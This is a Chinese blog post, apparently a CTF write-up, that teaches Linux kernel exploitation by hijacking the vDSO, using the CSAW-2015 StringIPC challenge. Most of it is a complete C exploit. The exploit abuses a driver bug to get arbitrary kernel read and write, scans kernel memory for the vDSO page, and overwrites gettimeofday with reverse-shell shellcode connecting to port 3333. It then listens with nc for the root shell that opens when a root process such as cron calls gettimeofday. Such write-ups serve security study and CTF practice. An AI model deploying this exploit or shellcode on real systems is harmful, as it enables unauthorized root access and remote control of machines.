linux kernel pwn学习之劫持vdso

161 篇文章 9 订阅
161 篇文章 9 订阅

Hijack vdso

VDSO就是Virtual Dynamic Shared Object,是内核提供的虚拟的.so,这个.so文件不在磁盘上,而是在内核里头。内核把包含某.so的内存页在程序启动的时候映射入其内存空间,对应的程序就可以当普通的.so来使用里面的函数。Vdso里面封装了这几个函数,其作用主要是加快对于某些对速度要求很高的系统调用,更多详细信息可以查看https://blog.csdn.net/juana1/article/details/6904932

由于vdso是在内核里,每个程序使用的时候,从内核里映射给程序,如果我们事先在内核里把vdso给劫持了,并把相应的函数覆盖成我们的shellcode,然后,当其他程序要用的时候,从内核把我们篡改过的vdso映射过去,如果它正好调用了对应的函数,就会执行我们对应位置布下的shellcode。当然普通权限的程序,调用我们的shellcode,也只是普通权限;如果有root权限的程序,调用我们的shellcode,那么我们的shellcode也是以root权限执行。在linux中,crontab是带有root权限的,并且它会不断的调用vdso里的gettimeofday函数,因此,我们如果把gettimeofday函数劫持为shellcode,等待被调用即可。至于为什么可以劫持vdso,因为vdso对于用户程序,只读、执行,而对于内核,它是RWX,可以修改。因此只要利用漏洞,将对于函数修改为shellcode,布置在vdso的shellcode可以为反弹shell的shellcode,也可以是再运行一个其他程序,其他程序将继承权限。以CSAW-2015-StringIPC为例。

CSAW-2015-StringIPC

为了劫持vdso,首先需要知道vdso在内核里的地址,查看内核映射图,vdso在内核附近,因此我们确定范围0xffffffff80000000——0xffffffffffffefff

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

我们该以什么为依据来搜索vdso呢?

我们可以以当前程序的vdso里字符串的偏移为依据,在程序中,获取当前的vdso地址的代码如下

  1. //获取vdso里的字符串"gettimeofday"相对vdso.so的偏移  
  2. int get_gettimeofday_str_offset() {  
  3.    //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx  
  4.    size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);  
  5.    char* name = "gettimeofday";  
  6.    if (!vdso_addr) {  
  7.       errExit("[-]error get name's offset");  
  8.    }  
  9.    //仅需要搜索1页大小即可,因为vdso映射就一页0x1000  
  10.    size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));  
  11.    if (name_addr < 0) {  
  12.       errExit("[-]error get name's offset");  
  13.    }  
  14.    return name_addr - vdso_addr;  
  15. }  

我们先确定字符串,比如gettimeofday在vdso.so里的偏移,通过这段代码,即可确定,然后我们在指定的范围内,一页一页(0x1000字节)的搜索如果在当前一页数据处偏移offset后是gettimeofday字符串,那么,我们就能确定当前页起始地址就是vdso在内核里的地址。我们必须一页一页的搜索,这样成功率高,因为vdso的映射就一页。

当我们搜索到vdso在内核的地址后,接下来,准备劫持gettimeofday函数,那么,我们需要先确定gettimeofday在vdso内的偏移。我们可以gdbvdsodump出来,再来分析。

首先,运行我们未写完的exploit,得到vdso在内核中的地址

然后,我们用gdb target到虚拟机

接着dump出vdso.so,dump一页大小即可

这样,我们得到vdso.so,拖到IDA中,查看gettimeofday函数的偏移为0xCB0,由此,我们计算出gettimeofday函数在内核中的地址,利用任意读写漏洞,覆盖这里为我们shellcode即可。我们的shellcode是一个反弹shell的shellcode,它将shell反弹到本地端口3333。我们只需nc 本地端口3333即可。Shellcode可以自己编写,也可以用现成的https://gist.github.com/itsZN/1ab36391d1849f15b785

综上,我们exploit.c程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8
//gettimeofday函数在vdso.so里的偏移
//运行程序,得到vdso.so的地址
//用gdb dump出vdso.so文件,拿到IDA里分析函数的地址
#define GETTIMEOFDAY_FUN 0xCB0

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

void errExit(char *msg) {
   puts(msg);
   exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      errExit("[-] open file error!!");
   }
}

//申请一个channel,返回id
int alloc_channel(size_t size) {
   struct alloc_channel_args args;
   args.buf_size = size;
   args.id = -1;
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
   if (args.id == -1) {
      errExit("[-]alloc_channel error!!");
   }
   return args.id;
}

//改变channel的大小
void shrink_channel(int id,size_t size) {
   struct shrink_channel_args args;
   args.id = id;
   args.size = size;
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
   struct seek_channel_args args;
   args.id = id;
   args.index = offset;
   args.whence = whence;
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {
   struct read_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {
   struct write_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
   //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
   char* name = "gettimeofday";
   if (!vdso_addr) {
      errExit("[-]error get name's offset");
   }
   //仅需要搜索1页大小即可,因为vdso映射就一页0x1000
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
   if (name_addr < 0) {
      errExit("[-]error get name's offset");
   }
   return name_addr - vdso_addr;
}

//用于反弹shell的shellcode,127.0.0.1:3333
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";

int main() {
   char *buf = (char *)calloc(1,0x1000);
   initFD();
   //申请一个channel,大小0x100
   int id = alloc_channel(0x100);
   //改变channel大小,形成漏洞,实现任意地址读写
   shrink_channel(id,0x101);
   //获取gettimeofday字符串在vdso.so里的偏移
   int gettimeofday_str_offset = get_gettimeofday_str_offset();
   printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
   size_t vdso_addr = -1;
   for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
      //读取一页数据
      arbitrary_read(id,buf,addr,0x1000);
      //如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
      //之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
      if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
         printf("[+]find vdso.so!!\n");
         vdso_addr = addr;
         printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
         break;
      }
   }
   if (vdso_addr == -1) {
      errExit("[-]can't find vdso.so!!");
   }
   size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN;
   printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr);
   //将gettimeofday处写入我们的shellcode,因为写操作在内核驱动里完成,内核可以读写执行vdso
   //用户只能读和执行vdso
   arbitrary_write(id,shellcode,gettimeofday_addr,strlen(shellcode));
   sleep(1);
   printf("[+]open a shell\n");
   system("nc -lvnp 3333");
   return 0;
}

劫持vdso能够成功提权的条件是有root权限的程序调用vdso在真实环境下,crontab会调用,而在模拟的qemu里,使用了一个程序来模拟

  1. #include <stdio.h>  
  2. int main(){  
  3.     while(1){  
  4.         sleep(1);  
  5.         gettimeofday();  
  6.     }  
  7. }  

将它编译后,在init启动脚本里加入它。本题,自带了这个程序来模拟。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值